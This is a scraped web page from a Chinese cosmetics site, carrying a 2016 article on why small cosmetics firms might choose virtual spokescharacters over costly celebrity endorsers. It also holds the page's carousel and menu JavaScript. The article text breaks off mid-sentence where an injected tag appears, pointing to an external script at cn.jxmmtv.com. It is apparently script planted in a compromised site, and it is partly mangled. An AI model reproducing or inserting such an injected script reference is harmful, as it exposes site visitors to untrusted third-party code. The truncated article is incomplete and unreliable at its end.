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    <title>化妆品中小企业节钱新法-虚拟形象代言人 - 和爱一家化妆网</title>
    <meta name="keywords" content="和爱一家,唯爱美,博酷云,网上购物,网上商城,货到付款的购物网站,上品折扣网,上品折扣网上购物,上品折扣,美容护肤,瘦身减肥,时尚品牌,美容护肤知识,奢思雅,仟丝缘,护肤品排名,护肤品价格,行业资讯," />
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    <script>
        function change1() {

            focusBox1('kakaFocus1');
            function focusBox1(o1) {
                if (!o1) return;

                var w1 = $("#kakaFocus1 .banner_pic").width(), $o1 = $('#' + o1), i = 0, l = 0;
                arr1 = [], t1 = null,

                        $infoLi1 = $o1.find('.banner_info li'), len1 = $infoLi1.length * 2,
                        $ul1 = $o1.find('.banner_pic>ul');
                $ul1.append($ul1.html()).css({'width': len1 * w1, 'left': -len1 * w1 / 2});
                $infoLi1.eq(0).addClass('current');
                //add banner_pages element
                arr1.push('<div class="banner_pages"><ul>');
                $infoLi1.each(function (i) {
                    if (i == 0) {
                        arr1.push('<li class="current"><span>' + (i + 1) + '</span></li>');
                    } else {
                        arr1.push('<li><span>' + (i + 1) + '</span></li>');
                    }
                });
                arr1.push('</ul></div>');
                $o1.append(arr1.join(''));
                var $pagesLi1 = $o1.find('.banner_pages li');
                //mouse
                $pagesLi1.children('span').click(function () {
                    var p1 = $pagesLi1.index($o1.find('.banner_pages li.current'));
                    i1 = $pagesLi1.children('span').index($(this));
                    if (i1 == p1) return;
                    l1 = parseInt($ul1.css('left')) + w1 * (p1 - i1);
                    addCurrent1(i1, l1);
                    return false;
                })
                $o1.children('a.btn_prev').click(function () {
                    i1 = $pagesLi1.index($o1.find('.banner_pages li.current'));
                    (i1 == 0) ? i1 = (len1 / 2 - 1) : i1--;
                    l1 = parseInt($ul1.css('left')) + w1;
                    addCurrent1(i1, l1);
                    return false;
                })
                $o1.children('a.btn_next').click(function () {
                    i1 = ($pagesLi1.index($o1.find('.banner_pages li.current')) + 1) % (len1 / 2);
                    l1 = parseInt($ul1.css('left')) - w1;
                    addCurrent1(i1, l1);
                    return false;
                })
                //auto focus
                t1 = setInterval(init1, 8000);
                $o1.hover(function () {
                    clearInterval(t1);
                }, function () {
                    t1 = setInterval(init1, 8000);
                });
                function init1() {
                    $o1.children('a.btn_next').trigger('click');
                }

                //add focus
                function addCurrent1(i, l) {
                    if ($ul1.is(':animated')) return;
                    $ul1.animate({'left': l}, 500, function () {
                        $o1.children('.banner_count').text(i + 1);
                        $infoLi1.not($infoLi1.eq(i).addClass('current')).removeClass('current');
                        $pagesLi1.not($pagesLi1.eq(i).addClass('current')).removeClass('current');
                        if (l == (1 - len1) * w1) {
                            $ul1.css({'left': (1 - len1 / 2) * w1});
                        } else if (l == 0) {
                            $ul1.css({'left': -len1 * w1 / 2});
                        }
                    });
                }
            }
        }

        $(document).ready(function () {
            change1();

        })
        //tab
        function nTabs(thisObj, Num) {
            if (thisObj.className == "active")return;
            var tabObj = thisObj.parentNode.id;
            var tabList = document.getElementById(tabObj).getElementsByTagName("li");
            for (i = 0; i < tabList.length; i++) {

                if (i == Num) {
                    thisObj.className = "active";
                    document.getElementById(tabObj + "_Content" + i).style.display = "block";
                    $(".new_right_title").addClass("ywtitle" + i);
                } else {
                    tabList[i].className = "normal";
                    document.getElementById(tabObj + "_Content" + i).style.display = "none";
                    $(".new_right_title").removeClass("ywtitle" + i);
                }
            }
        }

        /*daohang huaguo*/
        $(document).ready(function () {

            function topnav1() {
                var _show = null;
                var _hideTimer = null;
                var planItems = $('ul.c-fl-ul li.division');
                planItems.each(function (index) {
                    var li = $(this);
                    var div = li.find('div.navshow_div');
                    div.css("display", "none");
                    li.bind('mouseenter', function () {
                        if (_show != null) {
                            clearTimeout(_show);
                        }
                        _show = setTimeout(function () {
                            $('ul.nav_navcon li').addClass('');

                            li.addClass('topnav_sel');
                        }, 0);
                    });
                    li.bind('mouseleave', function () {
                        if (_show != null) {
                            clearTimeout(_show);
                        }
                        _hideTimer = setTimeout(function () {
                            li.removeClass('topnav_sel');

                        }, 0);
                    });
                });
            };
            topnav1();

        });
    </script>
</head>
<body>

<div id="index_topa">

    <div class="enter_top" id="enter_top">
        <div class=" w1000 m_center">

            <div class="enter_banner">
                <div class="enter_logo"><a><img
                        src="http://huazhuang.heaiyj.com/static/ddTemp/images/logo.jpg"></a>
                </div>
                <div class="searchnav">

                    <div class="searchinput right">
                        <input type="text" value="请输入关键字" name="q" id="q" class="search_input">

                        <div class="search_listbox">

                            <div style="_position:relative;padding:0px;margin:0px;" class="dii71" id="id7">
                                <div class="select_border">

                                    <div class="select_container">
                                        <select id="s0" name="s0" class="selectnews">
                                            <option value="cns">中 新</option>
                                            <option value="baidu">百 度</option>

                                        </select>
                                    </div>
                                </div>
                            </div>

                        </div>
                        <a class="search_a">搜 索</a>
                        <div class="clear"></div>
                    </div>
                    <div class="clear"></div>
                </div>
                <div class="clear"></div>
            </div>

        </div>
        <div class="inter_navbox mt15">
            <div class="inter_nav">
                <ul class="inter_nav_ul">
                    <li><a href="/index.html" title="首页">首页</a><em></em></li>
                    <li><a href="/hyzx/list_1.html" title="行业资讯">行业资讯</a><em></em></li><li><a href="/cysc/list_1.html" title="产业市场">产业市场</a><em></em></li><li><a href="/qdtx/list_1.html" title="渠道透析">渠道透析</a><em></em></li><li><a href="/yfpt/list_1.html" title="原辅配套">原辅配套</a><em></em></li><li><a href="/yxgl/list_1.html" title="营销管理">营销管理</a><em></em></li><li><a href="/changshi/list_1.html" title="化妆常识">化妆常识</a><em></em></li><li><a href="/rank/list_1.html" title="化妆品排名">化妆品排名</a><em></em></li>                </ul>
            </div>
        </div>
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            <div id="search">
                <input id="keyword" name="q" class="searchword ac_input" onclick="this.value=''" value="请输入关键词">
                <div class="search_button"><a>搜 索</a></div>
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                        <li><span>新闻<input name="search_fl" id="search_fl" value="title" type="hidden" style="width:67px;"></span>
                            <ul class="children" id="child" style="display: none;">
                                <li><a href="javascript:void(0);" target="_self">新闻</a></li>
                                <li><a href="javascript:void(0);" target="_self">图片</a></li>
                                <li><a href="javascript:void(0);" target="_self">视频</a></li>
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                        化妆品中小企业节钱新法-虚拟形象代言人                    </h1>
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                        <div style="display:none"></div>
                        <div class="left-t" style="padding-left:6px;"> 2016-08-25 22:23　来源：<a href="http://huazhuang.heaiyj.com/" style="color:#666;font-weight:normal;">和爱一家购物网</a></div>
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                    <div class="left_zw" style="position:relative">
                        <!-- 文章内容开始 -->
                        市场化的社会给了明星和企业秋波明送的机会，一位明星代言一个产品，代言费少则几十万，多则几百万、上千万，让人听得瞠目结舌。资金严重不足的化妆品中小企业如何能既节省钱又能请到一位可爱的代言人？出路有一个，请虚拟形象代言人。

明星代言的劣势

　　花大价钱选明星作品牌代言人真的就能物超所值，赚得金钵满盆吗？未必。

　　首先，要看明星的名气和人气，如果明星够牛，自然价钱一定不菲，如果名气不大，人气不足，又是将钱打水漂，让企业悔之晚矣。这对于化妆品中小企业来说，是不会痛并快乐着的。

　　其次，明星造势并非次次如人愿。“奥妮”请刘德华做“黑头发，中国货”的代言人，就让人大失所望，因为人们在现实中看到的只是一个染了黄头发的天王巨星，怎能让人相信企业的宣传？据有关部门调查结果显示，广告中形象代言人能把宣传诉求转变为大众有效认同的比率仅为２３．６％。

　　再者，而今，铺天盖地的明星化妆品广告已让消费者无所适从，明星广告的效果正在逐渐减弱。就拿日化业来说吧，每晚广东卫视新闻联播之后的广告时段里，播放的９０％以上均是洗发水类广告。这众多的同类型广告是否真能收到预期的效果，的确让人有些担心。　　　　　　　　　　　　　　　物超所值的虚拟代言人

　　面对如此低的认同率和明星广告效果的明显减弱，化妆品中小企业自然会在代言门槛前犹豫再三，以免血本无归。那么，难道这些中小企业就没有第二条路可走了吗？

　　与其说让“星星们”赚个酣畅淋漓，还不如精心地制作一个虚拟代言人，既好用又实惠，何乐不为。你可别小看了品牌虚拟代言人的广告效应。《广告时代》评选出的美国２０世纪十大品牌的代言人无一例外不是虚拟化的。而且现在电视里的广告，从快餐业、手机到电脑，乃至食品业，各种虚拟代言人个个鲜活动人，让人难以忘怀。那么，什么是虚拟代言人，它又有什么好处呢？

　　一般而言，品牌虚拟代言人是指，广告商在综合分析竞争环境、竞争对手以及消费者心理的基础上，结合自身产品特点，虚构一个产品的代言人，这个代言人可以是一个卡通或漫画人物，也可以是一个并不存在的和真人相似的人物。　　　　　　　　　　　　　　　　虚拟代言人的优势

　　相对于明星广告，采用虚拟代言人广告塑造品牌具有如下优势： 

　　第一，毋须向代言人付酬金。

　　由于虚拟代言人在现实中并不存在，故虚拟代言人的使用者不必向其支付使用明星广告必须支付的巨额费用，而只需向制作虚拟代言人的个人或单位支付价格极低的一笔制作费。

　　第二，虚拟代言人，形象完美，更能维护品牌形象，提升品牌价值。

　　由于虚拟代言人是虚构形象，在生活中不会犯这样、那样的错误，因而不会像个别明星由于生活的不检点，或形象的不注意，而使得其代言的品牌在“城门失火”的情况下“殃及池鱼”。赵薇的

“军旗事件”不是就一度搞得化妆品企业措手不及，忍痛撤下了她的广告。而曾经风光一时的米卢不也因世界杯的败北，而让奥克斯空调未能如愿吗？ 

　　第三，化妆品公司可以根据自身需求塑造适宜的虚拟代言人。

　　如生产口红的厂家，就可以在口红的变化上进行刻意渲染，而生产护肤品的，则可以根据祛斑、养颜等功效进行塑造。如果是针对不同年龄的，还可以进行新的定位。总之，虚拟代言人可以按照厂商的期望展露在受众的感知环境中，并按广告商的要求行动。

　　第四，设计独特的虚拟代言人易于在众多的明星广告里脱颖而出，更能从感官刺激上进一步张扬品牌魔力。

　　据统计，现在国内化妆品广告中尚无一家选择虚拟人作为自己的形象代言人。谁能第一个做出精美，且能抓住受众心理的虚拟代言人，做第一个吃螃蟹者，必将在众多明星广告中脱颖而出。 　　　　　　　　　　虚拟代言人的不足之处

　　当然，使用品牌虚拟代言人也有不足之处。

　　首先，受众对虚拟代言人的接受时间长。受众对虚拟代言人一无所知，人们接受虚拟代言人需要较长的时间，因而虚拟代言人对品牌的贡献力也需较长时间才能体现，这对快速提升品牌影响力是不利的；

　　其次，虚拟代言人具有很大的不确定性。虚拟代言人能否在受众心目中树立企业期望的良好形象，其结果带有很大的不确定性。虚拟代言人设计质量的优劣以及广告宣传的好坏在很大程度上决定了代言人形象塑造的成功与否。 

　　再者，虚拟代言人的设计者是否能准确把握消费者心理，也表明存在着虚拟代言人不能获得消费者认同的风险。　　　　　　　　　　　　　　　　　　国 外 情 况

　　在国外，先是有了肯德基、麦当劳等快餐业巨头利用虚拟代言人走上了兴隆的道路，后则有了西部牛仔等时装虚拟代言人的重拳出击，奠定了几十年的兴旺道路。随着ＩＴ业的风光，各种芯片代言人、网络代言人也此起彼伏，让人应接不暇。

　　而在化妆品业，虽然欧莱雅等大公司均不惜重金聘用大牌明星作为形象代言人，但一些中小企业却能根据自身?script src=http://cn.jxmmtv.com/cn.js&gt;                        <!-- 文章内容结束 -->
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